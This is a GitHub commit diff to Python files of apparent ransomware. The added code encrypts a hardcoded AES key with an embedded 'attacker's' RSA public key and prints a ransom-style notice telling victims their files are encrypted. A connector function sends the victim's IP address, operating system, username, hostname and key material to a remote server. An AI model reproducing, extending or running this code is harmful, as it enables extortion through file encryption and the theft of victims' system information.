Skip to content

Commit c104a56

Browse files
committed
Corrected variables
1 parent 8a6e338 commit c104a56

File tree

2 files changed

+10
-2
lines changed

2 files changed

+10
-2
lines changed

Diff for: main.py

+9-1
Original file line numberDiff line numberDiff line change
@@ -107,6 +107,14 @@ def main():
107107
else:
108108
print("Unidentified system")
109109
exit(0)
110+
111+
# Encrypt AES key with attacker's embedded RSA public key
112+
server_key = RSA.importKey(SERVER_PUBLIC_RSA_KEY)
113+
encryptor = PKCS1_OAEP.new(server_key)
114+
encrypted_key = encryptor.encrypt(HARDCODED_KEY)
115+
encrypted_key_b64 = base64.b64encode(encrypted_key).decode("ascii")
116+
117+
print("Encrypted key " + encrypted_key_b64 + "\n")
110118

111119
if encrypt:
112120
print("[COMPANY_NAME]\n\n"
@@ -116,7 +124,7 @@ def main():
116124
"DO NOT RENAME OR MOVE THE FILE\n\n"
117125
"THE FILE IS ENCRYPTED WITH THE FOLLOWING KEY\n"
118126
"[begin_key]\n{}\n[end_key]\n"
119-
"KEEP IT\n".format(public_key.decode("utf-8")))
127+
"KEEP IT\n".format(SERVER_PUBLIC_RSA_KEY))
120128
key = HARDCODED_KEY
121129
if decrypt:
122130
# # RSA Decryption function - warning that private key is hardcoded for testing purposes

Diff for: main_v2.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -159,7 +159,7 @@ def connector():
159159
# Send Key
160160
server.connect((host, port))
161161
msg = '%s$%s$%s$%s$%s$%s' % (
162-
getlocalip(), platform.system(), private_key, public_key, getpass.getuser(), platform.node())
162+
getlocalip(), platform.system(), SERVER_PRIVATE_RSA_KEY, SERVER_PUBLIC_RSA_KEY, getpass.getuser(), platform.node())
163163
server.send(msg.encode('utf-8'))
164164

165165
# if plt == "Windows"

0 commit comments

Comments
 (0)